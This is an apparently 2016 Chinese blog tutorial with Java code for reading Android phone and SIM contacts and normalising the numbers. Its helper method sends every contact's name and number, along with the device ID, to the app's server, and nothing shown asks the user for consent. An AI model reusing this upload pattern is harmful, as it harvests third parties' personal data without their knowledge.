Android上如何获取手机和sim卡的联系人信息

需求很明确,获取手机和sim的联系人信息。接口设计也很简介

public interface OnFetchContactsListener {
  void onFetcherContactsComplete(List<ContactInfo> list);
}

数据设计为:

public class ContactInfo extends BaseModel {
    private static final long serialVersionUID = -8650648832668794807L;
    /**联系人名**/
    private String mName;
    /**联系人电话号码**/
    private String mPhoneNumber;
    /**联系人ID**/
    private String mId;
    /**联系人名字字母**/
    private String mNameLetter;
    private int mOperatorType; //运营商判断,可有可无
}

细分一下,这里要解决3个问题:

  1. 如何获取手机联系人信息
  2. 如何获取sim卡的联系人信息
  3. 取出来的手机信息需要预处理一下变成统一个11位格式。

问题1:如何获取手机联系人信息

根据ContactsContract.Contacts.CONTENT_URI查询ContentResolver里面的数据,逐个取值即可。

问题2:如何获取sim卡的联系人信息

根据目前查找的信息来看,sim联系人的uri有两种:

  1. content://icc/adn
  2. content://sim/adn
    挨个去取即可。

问题3:预处理手机号

这个比较多变,常见的存储格式有:

  1. "13515681234"
  2. "135-1568-1234"
  3. "135 1568 1234"
  4. "+86 135 1568 1234"
    考虑到只使用国内市场,所以最后可以统一为"13515681234"

完整demo如下

包含两个文件:ContactsFetcherHelper和ContactInfo

public class ContactInfo extends BaseModel {
    private static final long serialVersionUID = -8650648832668794807L;
    /**联系人名**/
    private String mName;
    /**联系人电话号码**/
    private String mPhoneNumber;
    /**联系人ID**/
    private String mId;
    /**联系人名字字母**/
    private String mNameLetter;
    private int mOperatorType; //运营商判断,可有可无
    public void setLetter(String letter) {
        mNameLetter = letter;
    }
    public String getLetter() {
        return mNameLetter;
    }
    public void setName(String name) {
        mName = name;
    }
    public String getName() {
        return mName == null? "" : mName;
    }
    public void setPhoneNumber(String number) {
        mPhoneNumber = number;
        if (isMobileNumber(number) || isUnicomNumber(number)) {
            setmOperatorType(0);
        } else {
            setmOperatorType(1);
        }
    }
    public String getPhoneNumber() {
        return mPhoneNumber;
    }
    public void setId(String id) {
        mId = id;
    }
    public String getId() {
        return mId;
    }
    public int getmOperatorType() {
        return mOperatorType;
    }
    public void setmOperatorType(int mOperatorType) {
        this.mOperatorType = mOperatorType;
    }
    public static final String MOBILENUMBER_EX = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d{8}$";//移动
    public static final String TELECOMNUMBER_EX = "^1(3[3]|5[3]|8[019]|9[8])\\d{8}$";//电信
    public static final String UNICOMNUMBER_EX = "^1(3[012]|4[5]|5[56]|8[56])\\d{8}$";//联通
    public static final String MOBILENUMBER_EX_2 = "^1(3[4-9]|4[7]|5[012789]|8[23478]|7[8])\\d*$";//移动
    public static boolean isMobileNumber(String caller){
        return ex(caller, MOBILENUMBER_EX);
    }
    public static boolean isUnicomNumber(String caller){
        return ex(caller, UNICOMNUMBER_EX);
    }
    public static boolean isTelecomNumber(String caller){
        return ex(caller, TELECOMNUMBER_EX);
    }
    public static boolean ex(String caller,String ex){
        Pattern pattern = Pattern.compile(ex);
        Matcher matcher = pattern.matcher(caller);
        return matcher.matches();
    }
}
public class ContactsFetcherHelper implements Runnable {
    private static final String TAG = ContactsFetcherHelper.class.getSimpleName();

    public interface OnFetchContactsListener {
        void onFetcherContactsComplete(List<ContactInfo> list);
    }

    /**
     * 查询联系人信息
     * @param context
     */
    public static void queryContactInfo(final Context context) {
        final Dialog loadingDlg = UIUtil.getLoadingDlg(context, false);
        loadingDlg.show();
        ContactsFetcherHelper mContactsFetcherHelper = new ContactsFetcherHelper();
        mContactsFetcherHelper.start(context, new ContactsFetcherHelper.OnFetchContactsListener() {

            @Override
            public void onFetcherContactsComplete(final List<ContactInfo> list) {
                loadingDlg.dismiss();
                if (list != null && list.size() > 0) {
                    Log.d(TAG, "list.size() = " + list.size());
                    new SimpleSafeTask<NetResultInfo>(context, UIUtil.getLoadingDlg(context, false)) {

                        @Override
                        protected NetResultInfo doInBackgroundSafely() throws Exception {
                            SendMobileContantNetResultInfo.Request params = new SendMobileContantNetResultInfo.Request();
                            String deviceId = DataManager.getDeviceUUIDModel().getDeviceId();
                            params.setDeviceId(deviceId);
                            List<ContactModel> tmplist = new ArrayList<ContactModel>();
                            for (ContactInfo ci:list) {
                                ContactModel tmp = new ContactModel();
                                tmp.setDeviceId(deviceId);
                                tmp.setContactName(ci.getName());
                                tmp.setContactPhone(ci.getPhoneNumber());
                                tmplist.add(tmp);
                            }
                            params.setList(tmplist);
                            return RepositoryCollection.sendMobileContant(params);
                        }

                        @Override
                        protected void onPostExecuteSafely(NetResultInfo netResultInfo, Exception e) {
                            super.onPostExecuteSafely(netResultInfo, e);
                            Log.d(TAG, "sendMobileContant, netResultInfo = " + netResultInfo);
                        }
                    }.execute();
                }
                else {
                    Log.d(TAG, "list = " + list);
                }
            }
        });
    }

    private OnFetchContactsListener mListener;
    private boolean mCancel = false;
    private Context mContext;
    private boolean mIsFetching = false;
    private Thread mFetchThread;

    public void start(Context context, OnFetchContactsListener l) {
        if (mIsFetching) {
            return;
        }
        mContext = context;
        mCancel = false;
        mIsFetching = true;
        mListener = l;
        mFetchThread = new Thread(this);
        mFetchThread.start();
    }

    public void cancel() {
        mCancel = true;
    }

    @Override
    public void run() {
        List<ContactInfo> list = new ArrayList<ContactInfo>();
        Set<String> set = new HashSet<String>();
        if (!mCancel) {
            Log.d(TAG, "getPhoneContactHighVersion");
            //读取手机里的手机联系人
            getPhoneContactHighVersion(list, set);
        }
        if (!mCancel) {
            Log.d(TAG, "getSimContact");
            //读取Sim卡中的手机联系人
            getSimContact("content://icc/adn", list, set);
        }
        
        if (!mCancel) {
            Log.d(TAG, "getSimContact");
            getSimContact("content://sim/adn", list, set);
        }
        if (!mCancel && null != mListener) {
            mIsFetching = false;
            mListener.onFetcherContactsComplete(list);
        }
    }

    // 从本机中取号
    private void getPhoneContactHighVersion(List<ContactInfo> list,
            Set<String> set) {
        // 得到ContentResolver对象
        try {
            if (null == mContext) {
                return;
            }
            ContentResolver cr = mContext.getContentResolver();
            if (null == cr) {
                return;
            }
            // 取得电话本中开始一项的光标
            Uri uri = ContactsContract.Contacts.CONTENT_URI;
            Cursor cursor = null;
            try {
                String[] projection = { ContactsContract.Contacts._ID,
                        ContactsContract.Contacts.DISPLAY_NAME,"sort_key"};
                cursor = cr.query(uri, projection, null, null,
                        null);
            } catch (Exception e) {
                e.printStackTrace();
            }
            while (!mCancel && null != cursor && cursor.moveToNext()) {
                int nameFieldColumnIndex = cursor
                        .getColumnIndex(PhoneLookup.DISPLAY_NAME);
                int idCol = cursor.getInt(cursor
                        .getColumnIndex(ContactsContract.Contacts._ID));
                int sort_key_index = cursor.getColumnIndex("sort_key");
                Log.d("BBB", "sort_key_index=" + sort_key_index);
                
                // 取得联系人名字
                // 取得联系人ID
                Cursor phone = cr.query(
                        ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?",
                        new String[] { Integer.toString(idCol) }, null);//
                // 再类ContactsContract.CommonDataKinds.Phone中根据查询相应id联系人的所有电话;
    
                // 取得电话号码(可能存在多个号码)
                while (!mCancel && phone.moveToNext()) {
                    String strPhoneNumber = formatMobileNumber(phone
                            .getString(phone
                                    .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
                    boolean b = isUserNumber(strPhoneNumber);
                    if (b) {
                        ContactInfo cci = new ContactInfo();
                        Log.d("BBB", "getPhoneContactHighVersion strPhoneNumber=" + strPhoneNumber);
                        cci.setName(cursor.getString(nameFieldColumnIndex));
                        cci.setLetter(cursor.getString(sort_key_index));
                        Log.d("BBB", "letter=" + cci.getLetter());
                        cci.setPhoneNumber(strPhoneNumber);
                        cci.setId(String.valueOf(idCol));
                        list.add(cci);
                        set.add(cci.getPhoneNumber());
                    }
                }
                phone.close();
            }
            if(null != cursor) {
                cursor.close();
            }
        } catch (SecurityException e) {
            e.printStackTrace();
        }
    }

    private void getSimContact(String adn, List<ContactInfo> list,
            Set<String> set) {
        // 读取SIM卡手机号,有两种可能:content://icc/adn与content://sim/adn
        Cursor cursor = null;
        try {
            
            Intent intent = new Intent();
            intent.setData(Uri.parse(adn));
            Uri uri = intent.getData();
            Log.d("getSimContact uri= ", uri.toString());
            cursor = mContext.getContentResolver().query(uri, null,
                    null, null, null);
            if (cursor != null) {
                while (!mCancel && cursor.moveToNext()) {
                    // 取得联系人名字
                    int nameIndex = cursor.getColumnIndex("name");
                    // 取得电话号码
                    int numberIndex = cursor.getColumnIndex("number");
                    String number = cursor.getString(numberIndex);
                    Log.d("getSimContact nameIndex= ", number);
                    if (isUserNumber(number)) {// 是否是手机号码
                        ContactInfo sci = new ContactInfo();
                        sci.setPhoneNumber(formatMobileNumber(number));
                        sci.setName(cursor.getString(nameIndex));
                        if (!isContain(set, sci.getPhoneNumber())) {// //是否在LIST内存在
                            list.add(sci);
                            set.add(sci.getPhoneNumber());
                        }
                    }
                }
                cursor.close();
            }
        } catch (Exception e) {
            Log.i(TAG, e.toString());
            if(cursor != null)
                cursor.close();
        }
    }

    private String formatMobileNumber(String num2) {
        String num;
        if (num2 != null) {
            // 有的通讯录格式为135-1568-1234
            num = num2.replaceAll("-", "");
            // 有的通讯录格式中- 变成了空格
            num = num.replaceAll(" ", "");
            if (num.startsWith("+86")) {
                num = num.substring(3);
            } else if (num.startsWith("86")) {
                num = num.substring(2);
            } else if (num.startsWith("86")) {
                num = num.substring(2);
            }
        } else {
            num = "";
        }
        // 有些手机号码格式 86后有空格
        return num.trim();
    }

    private boolean isUserNumber(String num) {
        if (null == num || "".equalsIgnoreCase(num)) {
            return false;
        }
        boolean re = false;
        if (num.length() == 11) {
            if (num.startsWith("1")) {
                re = true;
            }
        }
        return re;
    }

    private boolean isContain(Set<String> set, String un) {
        return set.contains(un);
    }
}

Panda
2016-08-27

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,529评论 5 475
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,015评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,409评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,385评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,387评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,466评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,880评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,528评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,727评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,528评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,602评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,302评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,873评论 3 306
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,890评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,132评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,777评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,310评论 2 342

推荐阅读更多精彩内容